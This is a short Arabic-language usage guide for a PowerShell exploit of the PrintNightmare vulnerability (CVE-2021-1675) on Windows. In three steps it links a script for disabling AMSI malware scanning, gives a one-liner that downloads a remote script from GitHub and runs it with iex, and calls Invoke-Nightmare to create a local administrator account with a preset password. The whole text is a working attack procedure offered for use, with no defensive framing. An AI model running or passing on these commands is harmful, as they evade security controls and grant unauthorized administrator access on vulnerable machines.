
استغلال PowerShell لـ CVE-2021-1675 PrintNightmare يعطل AMSI وينشئ حساب مسؤول محلي على أنظمة Windows الضعيفة.
#تعطيل AMSI: (انسخ في PowerShell) https://raw.githubusercontent.com/jj4152/cve-2021-1675/main/disable-amsi.txt
#تنفيذ invoke-script iex (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/jj4152/cve-2021-1675/main/Invoke-Nightmare.ps1')
#إنشاء حساب مسؤول Invoke-Nightmare -DriverName "Xerox" -NewUser "admin" -NewPassword "P@ssw0rd"